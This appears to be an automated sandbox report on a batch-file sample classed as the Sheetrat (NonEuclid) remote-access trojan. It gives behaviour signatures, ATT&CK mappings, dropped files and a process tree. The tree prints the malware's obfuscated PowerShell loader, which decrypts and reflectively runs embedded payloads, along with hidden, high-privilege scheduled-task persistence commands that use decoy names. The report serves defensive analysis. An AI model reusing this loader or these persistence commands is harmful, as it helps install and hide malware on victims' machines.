Overview

overview

10

Static

static

1

sdfghgfds.bat

windows10-2004-x64

10

sdfghgfds.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    599s
  • max time network
    550s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sdfghgfds.bat
  • Size 521KB
  • Sample261102-ph3dcsbz3n
  • SHA256 04ee08ff134824988147e5794da3adc9f7c981894f68305870948dfc49f4a321
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionexecutionsheetratpersistenceprivilege_escalationransomwarespywaretrojan

Malware Config

Signatures

  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

    trojansheetrat
  • Detects Sheetrat obfuscated V1.8 and higher 1 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat obfuscated version 1 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

    persistenceprivilege_escalation
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4152
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4184
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Local\Temp\sdfghgfds.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_969_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_969.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4844
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_969.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_969.bat" "
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4916
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4540
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:4856
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9mne1QtWIj00jSbx11NP/gKc2OLVGTf8kdfCHeOjsK4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/VeJtnKycDXF2Si0OkfkYw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpABZ=New-Object System.IO.MemoryStream(,$param_var); $ZTxje=New-Object System.IO.MemoryStream; $YkiVn=New-Object System.IO.Compression.GZipStream($fpABZ, [IO.Compression.CompressionMode]::Decompress); $YkiVn.CopyTo($ZTxje); $YkiVn.Dispose(); $fpABZ.Dispose(); $ZTxje.Dispose(); $ZTxje.ToArray();}function execute_function($param_var,$param2_var){ $LgkMV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ucJOF=$LgkMV.EntryPoint; $ucJOF.Invoke($null, $param2_var);}$EEdPs = 'C:\Users\Admin\AppData\Roaming\startup_str_969.bat';$host.UI.RawUI.WindowTitle = $EEdPs;$GBsER=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($EEdPs).Split([Environment]::NewLine);foreach ($gfwut in $GBsER) { if ($gfwut.StartsWith(':: ')) { $Yctvu=$gfwut.Substring(3); break; }}$payloads_var=[string[]]$Yctvu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Modifies WinLogon for persistence
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1180
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1320
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "IntelliJ IDEA Host" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe"
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5540
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:6004
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5668
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3080
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Word" /tr "C:\Users\Admin\AppData\Local\xdwdOBS Studio.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3944
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5244
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3704
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4956
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5604
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3988
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6032
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5724
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2924
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd" /k timeout 5 > NUL && "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5004
                  • C:\Windows\system32\timeout.exe
                    timeout 5
                    7⤵
                    • Loads dropped DLL
                    • Delays execution with timeout.exe
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2464
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                    7⤵
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4968
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST & exit
                  6⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2248
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /create /f /sc minute /mo -1 /tn "Camtasia Upgrade" /tr "C:\Users\Admin\AppData\Local\xdwdJira Update.exe" /RL HIGHEST
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2916
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
        • Loads dropped DLL
        PID:4536
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2504
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Loads dropped DLL
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3220
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5632
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1608
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:2656

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Winlogon Helper DLL

            1
            T1547.004

            Event Triggered Execution

            1
            T1546

            AppInit DLLs

            1
            T1546.010

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            2
            T1547

            Active Setup

            1
            T1547.014

            Winlogon Helper DLL

            1
            T1547.004

            Event Triggered Execution

            1
            T1546

            AppInit DLLs

            1
            T1546.010

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            3
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            3
            T1082

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ModuleAnalysisCache
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 5530c8a8b4c6b189b6e213ddeaf4f3237194f0fd1cb236ff3e85e1f597a8cbbb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_5zbjuryz.0ek.psm1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5zbjuryz.0ek.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            startup_str_969.vbs
            • Path C:\Users\Admin\AppData\Roaming\startup_str_969.vbs
            • Size 115B
            • SHA256 d1c05b737250b734d98f3616a88c1cf937aef6284f9325b665b7abaa4790ce7d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xdwd.dll
            • Path C:\Windows\xdwd.dll
            • Size 136KB
            • SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/860-13-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-50-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-10-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-11-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-12-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-0-0x00007FFB4E30F000-0x00007FFB4E310000-memory.dmp
            Download

            memory/860-14-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-15-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-17-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-16-0x00000256E7080000-0x00000256E7088000-memory.dmp
            Download

            memory/860-18-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-19-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-20-0x00000256E7390000-0x00000256E73F4000-memory.dmp
            Download

            memory/860-4-0x00000256E7090000-0x00000256E70B2000-memory.dmp
            Download

            memory/860-3-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-5-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-9-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-6-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-8-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/860-7-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/1180-51-0x000001BB1F0F0000-0x000001BB1F162000-memory.dmp
            Download

            memory/1608-438-0x000002BFE95A0000-0x000002BFE9692000-memory.dmp
            Download

            memory/4844-24-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-22-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-36-0x000001E92AAC0000-0x000001E92AADE000-memory.dmp
            Download

            memory/4844-38-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-29-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-26-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-25-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-35-0x000001E92AA70000-0x000001E92AA7A000-memory.dmp
            Download

            memory/4844-30-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-34-0x000001E92AD10000-0x000001E92ADC2000-memory.dmp
            Download

            memory/4844-23-0x00007FFB4E180000-0x00007FFB4EB24000-memory.dmp
            Download

            memory/4844-33-0x000001E92AA80000-0x000001E92AA9E000-memory.dmp
            Download

            memory/4968-233-0x000001ADF5C20000-0x000001ADF5C68000-memory.dmp
            Download

            memory/5632-246-0x000001FBD3E60000-0x000001FBD3F60000-memory.dmp
            Download

            memory/5632-259-0x000001FB836A0000-0x000001FB836C0000-memory.dmp
            Download

            memory/5632-261-0x000001FB93B00000-0x000001FB93C00000-memory.dmp
            Download

            memory/5632-290-0x000001FB93E80000-0x000001FB93EA0000-memory.dmp
            Download

            memory/5632-276-0x000001FB839E0000-0x000001FB83A00000-memory.dmp
            Download